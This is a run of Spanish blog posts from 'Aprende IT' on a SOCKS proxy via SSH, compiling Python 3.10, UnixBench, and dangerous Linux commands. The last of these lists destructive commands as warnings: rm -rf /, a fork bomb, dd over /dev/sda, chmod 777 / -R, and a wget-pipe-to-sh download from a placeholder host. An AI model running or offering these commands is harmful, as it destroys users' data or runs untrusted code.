Recuerda reemplazar nombre_usuario, contraseña y tu_ip_del_servidor con tus datos específicos. Este comando utilizará tu servidor proxy para acceder a un sitio web que muestra tu dirección IP pública, verificando así que el tráfico realmente está siendo redirigido a través del proxy SOCKS.

Configurar un servidor proxy SOCKS con Dante puede parecer complejo al principio, pero siguiendo estos pasos, podrás tener un poderoso sistema

Puedes configurar un servidor proxy SOCKS5 utilizando OpenSSH en Ubuntu 22.04, lo cual es una alternativa más sencilla y directa en ciertos casos, especialmente para uso personal o en situaciones donde ya tienes un servidor SSH configurado. A continuación, te explico cómo hacerlo:

Crear un proxy Socks 5 con OpenSSH

A diferencia de dante, con el cual podemos crear un servicio de proxy con autenticación, con OpenSSH, podemos crear un tunel en un puerto que se puede utilizar de proxy socks sin autenticación por lo que lo conveniente es que se utilice solo para localhost dentro de un solo equipo (luego explicaremos mejor esto)

Instalación de OpenSSH Server

Si aún no tienes OpenSSH Server instalado en tu servidor que va a hacer de proxy, puedes instalarlo con el siguiente comando siempre y cuando sea una distribución basada en Debian / Ubuntu:

sudo apt update
sudo apt install openssh-server

Asegúrate de que el servicio está activo y se ejecuta correctamente con:

sudo systemctl status ssh

Configuración del Servidor SSH (Opcional)

Por defecto, OpenSSH escucha en el puerto 22. Puedes ajustar configuraciones adicionales editando el archivo /etc/ssh/sshd_config, como cambiar el puerto, restringir el acceso a ciertos usuarios, etc. Si realizas cambios, recuerda reiniciar el servicio SSH:

sudo systemctl restart ssh

Uso de SSH como un Proxy SOCKS5

Para configurar un túnel SSH que funcione como un proxy SOCKS5, utiliza el siguiente comando desde tu cliente (no en el servidor). Este comando establece un túnel SSH que escucha localmente en tu máquina en el puerto especificado (por ejemplo, 1080) y redirige el tráfico a través del servidor SSH:

ssh -D 1080 -C -q -N usuario@direccion_servidor

• -D 1080 especifica que SSH debe crear un proxy SOCKS5 en el puerto local 1080.
• -C comprime los datos antes de enviarlos.
• -q habilita el modo silencioso que minimiza los mensajes de log.
• -N indica que no se ejecuten comandos remotos, útil cuando solo quieres establecer el túnel.
• usuario es tu nombre de usuario en el servidor SSH.
• direccion_servidor es la dirección IP o dominio de tu servidor SSH.

En este punto es donde comentamos que con la opción -D debemos indicar unicamente el puerto ya que si exponemos el puerto a toda la red podemos estar permitiendo que otros equipos de la red utilicen este proxy sin autenticarse:

[ger@ger-pc ~]$ ssh -D 0.0.0.0:1081 root@192.168.54.100

Si lo comprobamos con el comando ss o con netstat podemos ver que está escuchando en todas las redes:

[ger@ger-pc ~]$ ss -putan|grep 1081
tcp LISTEN 0 128 0.0.0.0:1081 0.0.0.0:* users:(("ssh",pid=292405,fd=4)) 
[ger@ger-pc ~]$

Sin embargo, si conectamos especificando unicamente el puerto sin 0.0.0.0 o sin ninguna IP, lo hara solo en localhost:

[ger@ger-pc ~]$ ssh -D 1081 root@192.168.54.100

.......

[ger@ger-pc ~]$ ss -putan|grep 1081
tcp LISTEN 0 128 127.0.0.1:1081 0.0.0.0:* users:(("ssh",pid=292485,fd=5)) 
tcp LISTEN 0 128 [::1]:1081 [::]:* users:(("ssh",pid=292485,fd=4)) 
[ger@ger-pc ~]$

Conexión a través del Proxy SOCKS5:

Ahora puedes configurar tu navegador o aplicación para utilizar el proxy SOCKS5 en localhost y el puerto 1080. Cada aplicación tiene una manera diferente de configurar esto, así que necesitarás revisar las preferencias o la documentación de la aplicación.

Automatización de la Conexión (Opcional):
Si necesitas que el túnel se establezca automáticamente al inicio o sin interacción manual, puedes considerar usar una herramienta como autossh para mantener la conexión del túnel abierta y reconectar en caso de que se caiga.

Esta es una forma efectiva de establecer un proxy SOCKS5 rápido para un usuario o unos pocos usuarios, especialmente útil para eludir restricciones de red o asegurar tu tráfico en redes no confiables. La principal ventaja de este método es su simplicidad y que aprovecha la infraestructura SSH existente, sin necesidad de configurar software adicional en el servidor.

La entrada Crear Proxy SOCKS con Dante y con OpenSSH se publicó primero en Aprende IT.

Preparación del entorno

Antes de sumergirnos en la compilación de Python, es esencial preparar tu sistema Ubuntu 20.04 para asegurarnos de que el proceso se ejecute sin contratiempos. Esto incluye la actualización de los paquetes del sistema y la instalación de dependencias necesarias para la compilación de Python.

Para empezar, abre una terminal y ejecuta el siguiente comando para actualizar el índice de paquetes de tu sistema:

sudo apt update

Una vez actualizado el índice de paquetes, es momento de instalar algunas dependencias críticas que Python requiere para su compilación y ejecución. Ejecuta el siguiente comando para instalar estos paquetes:

sudo apt install -y gcc libssl-dev libbz2-dev libffi-dev zlib1g-dev make

Descarga y preparación del código fuente de Python

Con el entorno preparado, el siguiente paso es obtener el código fuente de Python 3.10.13, que es la versión que compilaremos. Para ello, utilizaremos wget, una herramienta que permite descargar archivos desde la web directamente a nuestra terminal. Antes de descargar el código fuente, asegúrate de eliminar cualquier archivo previo con el mismo nombre para evitar conflictos:

rm -f Python-3.10.13.tgz

Ahora, procede a descargar el archivo comprimido del código fuente de Python 3.10.13 con el siguiente comando:

wget https://www.python.org/ftp/python/3.10.13/Python-3.10.13.tgz

Con el archivo descargado, el próximo paso es extraer su contenido. Utiliza el comando tar para descomprimir el archivo:

tar xzf Python-3.10.13.tgz

Después de extraer el archivo, cambia al directorio que contiene el código fuente:

cd Python-3.10.13

Compilación del código fuente

Antes de proceder con la compilación propiamente dicha, es una buena práctica limpiar cualquier compilación previa que pudiera estar presente en el directorio. Esto se hace con el comando make clean:

make clean

El siguiente paso es configurar el proceso de compilación. Python ofrece muchas opciones de configuración, pero nos centraremos en una configuración optimizada que incluye pip y configuraciones de ruta para las bibliotecas compartidas. Ejecuta el siguiente comando para configurar el entorno de compilación:

./configure --enable-optimizations --with-ensurepip=install --prefix=/usr/local --enable-shared LDFLAGS="-Wl,-rpath /usr/local/lib"

Una vez configurado, procede a compilar Python utilizando make. Para aprovechar al máximo los recursos de tu sistema y agilizar el proceso de compilación, puedes especificar el número de trabajos que make debería ejecutar simultáneamente. Esto depende del número de núcleos de tu procesador. Suponiendo que tienes un procesador de 4 núcleos, puedes usar make -j 4 para compilar más rápido. Sin embargo, en esta guía, utilizaremos make altinstall para instalar Python sin sobrescribir la versión predeterminada del sistema:

make altinstall

Instalación de pip y virtualenv

Tras compilar e instalar Python, el siguiente paso es asegurarse de que pip, el administrador de paquetes de Python, esté actualizado y funcionando correctamente con nuestra nueva instalación de Python. A continuación, instalaremos virtualenv, una herramienta para crear entornos virtuales aislados, lo cual es esencial para la gestión de dependencias en proyectos Python.

Primero, descarga el script de instalación de pip:

wget https://bootstrap.pypa.io/get-pip.py

Ejecuta el script para instalar pip para Python 3.10:

python3.10 get-pip.py

Con pip ya instalado, procede a instalar virtualenv:

pip3.10 install virtualenv

Para evitar conflictos con otras versiones de Python, renombraremos los binarios de pip y virtualenv:

mv /usr/local/bin/pip /usr/local/bin/pip.new
mv /usr/local/bin/virtualenv /usr/local/bin/virtualenv-3.10

Uso de contenedores como alternativa a la compilación

Compilar Python desde el código fuente te proporciona control total sobre la instalación y configuración, permitiéndote optimizar el rendimiento y la seguridad. Sin embargo, este proceso puede ser tedioso y consumir tiempo. Como alternativa, puedes utilizar contenedores Docker para trabajar con diferentes versiones de Python de manera aislada y eficiente, sin la necesidad de compilar cada versión manualmente.

Docker simplifica la creación y gestión de entornos aislados para tus aplicaciones, conocidos como contenedores. Para iniciar un contenedor con Python 3.10.13, simplemente ejecuta el siguiente comando:

docker run -it --name python3 python:3.10.13-slim-bullseye

Este comando descarga la imagen oficial de Python 3.10.13 (basada en Debian Bullseye slim) y la ejecuta en un contenedor, proporcionándote un entorno Python aislado y listo para usar en cuestión de segundos.

Resumen de comandos

Con el fin de tenerlo todo agrupado en la secuencia correcta, este es el grupo de comandos que hemos ejecutado:

sudo apt update
sudo apt install -y gcc libssl-dev libbz2-dev libffi-dev zlib1g-dev make
rm -f Python-3.10.13.tgz
wget https://www.python.org/ftp/python/3.10.13/Python-3.10.13.tgz
rm -f Python-3.10.13.tgz.*
tar xzf Python-3.10.13.tgz
cd Python-3.10.13
make clean
./configure --enable-optimizations --with-ensurepip=install --prefix=/usr/local --enable-shared LDFLAGS="-Wl,-rpath /usr/local/lib"
make altinstall
wget https://bootstrap.pypa.io/get-pip.py
python3.10 get-pip.py
pip3.10 install virtualenv
mv /usr/local/bin/pip /usr/local/bin/pip.new
mv /usr/local/bin/virtualenv /usr/local/bin/virtualenv-3.10

La entrada Cómo compilar Python 3.10 en Ubuntu 20.04 se publicó primero en Aprende IT.

El devastador rm -rf /

Empezamos con el infame comando rm -rf /, una sentencia que parece sencilla pero esconde un potencial destructivo. Este comando borra todos los archivos del sistema, comenzando desde la raíz (/). El modificador -r indica que la eliminación debe ser recursiva, es decir, afectar a todos los archivos y directorios contenidos en el directorio especificado, mientras que -f fuerza la eliminación sin pedir confirmación. Ejecutar este comando como superusuario significa despedirse de tu sistema operativo, tus datos y cualquier esperanza de recuperación fácil.

En resumen, hay que tener cuidado con ejecutar comandos rm recursivos ya que podemos eliminar mas de lo que queremos:

• rm -fr *
• rm -fr */
• rm -fr /*
• rm -fr .
• rm -fr ..

La trampa de :(){ :|: & };:

Este enigmático comando es un ejemplo de una función fork bomb. Se define una función llamada : que, cuando se ejecuta, llama a sí misma dos veces y cada llamada se ejecuta en el fondo. Esto causa una reacción en cadena, duplicando procesos indefinidamente y consumiendo los recursos del sistema hasta que este se cuelga. Es un ataque de denegación de servicio contra tu propia máquina, llevando al límite la capacidad de procesamiento y memoria.

Para que se entienda mejor, :(){ :|: & };: es lo mismo que ejecutar:

bomb() {
    bomb | bomb &
}; bomb

El peligro de dd if=/dev/zero of=/dev/sda

El comando dd es una herramienta potente que se utiliza para convertir y copiar archivos a nivel de bloque. En este contexto, if=/dev/zero establece la entrada a un flujo continuo de ceros, y of=/dev/sda designa el dispositivo de destino, generalmente el disco duro principal. Este comando sobrescribe todo el disco con ceros, eliminando irreversiblemente el sistema operativo, los programas y los datos del usuario. Es esencial comprender la función de cada parte del comando antes de ejecutar algo tan poderoso como dd.

Descargar y ejecutar un ficheromalicioso

Por ejemplo la orden wget http://ejemplo.com/malicioso.sh -O- | sh

Este comando utiliza wget para descargar un script desde una dirección de Internet y lo ejecuta directamente en la shell con sh. La peligrosidad reside en ejecutar código sin revisar, proveniente de una fuente no confiable. Podría tratarse de un script malicioso diseñado para dañar tu sistema o comprometer tu seguridad. Siempre es vital verificar el contenido de los scripts antes de ejecutarlos.

Modificación peligrosa de permisos y propiedades

La modificación de permisos con por ejemplo chmod 777 / -R puede dejar inservible tu sistema.
chmod cambia los permisos de archivos y directorios, y 777 otorga permisos totales (lectura, escritura y ejecución) a todos los usuarios. Aplicar esto recursivamente (-R) a la raíz (/) elimina cualquier forma de control de acceso, exponiendo el sistema a riesgos de seguridad graves. Cualquier usuario podría modificar cualquier archivo, con potenciales consecuencias desastrosas.

El comando chown nobody:nogroup / -R

Similar al caso anterior, chown cambia el propietario y el grupo de archivos y directorios. Usar nobody:nogroup asigna la propiedad a un usuario y grupo sin privilegios, aplicado recursivamente desde la raíz, puede dejar al sistema en un estado inoperable, ya que los servicios y procesos críticos podrían perder acceso a los archivos necesarios para su funcionamiento.

El misterioso mv /home/tu_usuario/* /dev/null

Mover archivos al directorio /dev/null es equivalente a eliminarlos, ya que /dev/null es un agujero negro en el sistema que descarta todo lo que recibe. Este comando, aplicado al directorio del usuario, puede resultar en la pérdida de todos los datos personales, configuraciones y archivos importantes almacenados en tu home.

El peligroso find

El comando find puede ser muy peligroso, por ejemplo si ejecutamos el siguiente comando:

find / -name '*.jpg' -type f -delete

Lo que ocurre es que find es una herramienta versátil para buscar archivos en el sistema de archivos que cumplan con ciertos criterios. Este comando busca todos los archivos .jpg en el sistema y los elimina. Aunque podría parecer útil para liberar espacio, borrar indiscriminadamente archivos basándose solo en su extensión puede resultar en la pérdida de documentos importantes, recuerdos y recursos.

Causar un kernel panic

El siguiente comando es capaz de causar un kernel panic:

echo 1 > /proc/sys/kernel/panic;

Provocar un error de Kernel Panic en Linux es comparable a la temida pantalla azul de la muerte en Windows, desmitificando la creencia de que Linux es infalible. A través de ciertos comandos, como redirigir datos aleatorios a dispositivos críticos del sistema o manipular directamente la memoria, se puede forzar a Linux a entrar en un estado de pánico del kernel, lo que hace que el sistema se vuelva irrecuperable sin un reinicio. Estos comandos son altamente riesgosos y pueden resultar en la pérdida de datos o en la corrupción del sistema.

Sobrescribir el disco de sistema con la salida de un comando

Sobrescribir el disco duro en Linux, usando comandos que redirigen la salida de cualquier comando Bash directamente a un dispositivo de disco (/dev/hda), puede resultar en la pérdida total de datos. Este proceso es irreversible y difiere del formateo, ya que implica escribir datos sin procesar sobre toda la unidad, haciéndola inservible. Es una acción altamente peligrosa sin beneficio práctico en la mayoría de los contextos.

Un ejemplo de esto seria:

comando1 > /dev/sda1

Protege tu sistema, protege tu tranquilidad

Explorar y experimentar con Linux puede ser una experiencia enriquecedora y educativa. Sin embargo, es fundamental hacerlo con conocimiento y precaución. Los comandos discutidos aquí representan solo una fracción de lo que es posible (y potencialmente peligroso) en la terminal. La regla de oro es simple: si no estás seguro de lo que hace un comando, investiga antes de ejecutarlo. Proteger tu sistema es proteger tu trabajo, tus recuerdos y, en última instancia, tu tranquilidad.

La entrada Comandos que no debes ejecutar en Linux se publicó primero en Aprende IT.

¿Qué es UnixBench?

UnixBench es una suite de pruebas de rendimiento de código abierto diseñada para sistemas Unix y Linux. Se caracteriza por su facilidad de uso y profundidad, permitiendo medir el rendimiento de diversos componentes del sistema.

Instalación de UnixBench

La instalación de UnixBench es sencilla y se realiza a través de unos pocos comandos en la terminal:

Clona el repositorio de UnixBench:

git clone https://github.com/kdlucas/byte-unixbench.git

Accede al directorio de UnixBench:

cd byte-unixbench/UnixBench

Compila y construye UnixBench:

make

Ejecutando tu Primera Prueba con UnixBench

Para lanzar tu primera prueba, sigue estos pasos:

En la misma carpeta de UnixBench, ejecuta:

./Run

Esto iniciará una serie de pruebas que evaluarán diferentes aspectos de tu sistema.

Análisis de Resultados

Los resultados de UnixBench se presentan en forma de puntuaciones y datos, proporcionando una idea clara del rendimiento de tu sistema en áreas como la CPU, la memoria y las operaciones de disco.

Pruebas Avanzadas

UnixBench permite realizar pruebas específicas para distintos componentes. Por ejemplo, para enfocarte en la CPU:

./Run dhry2reg whetstone-double

Personalizando las Pruebas

UnixBench ofrece la flexibilidad de personalizar las pruebas. Puedes elegir qué pruebas ejecutar y adaptarlas a tus necesidades específicas.

Monitorización en Tiempo Real

Mientras se ejecutan las pruebas, es útil realizar una monitorización en tiempo real del sistema usando herramientas como top o htop.

Pruebas de Rendimiento de Red

Además de los componentes básicos, UnixBench también puede evaluar el rendimiento de la red de tu sistema, un aspecto crucial para servidores o entornos de red dependientes.

Integración con Herramientas de Monitorización

UnixBench se puede integrar con herramientas de monitorización de sistemas avanzadas, proporcionando un análisis detallado del rendimiento del sistema durante las pruebas.

Tips para Optimizar el Rendimiento

Después de las pruebas, puedes identificar áreas de mejora y comenzar a optimizar tu sistema, ajustando configuraciones, actualizando hardware o modificando el entorno de software.

La entrada Pruebas de Rendimiento en Linux con UnixBench se publicó primero en Aprende IT.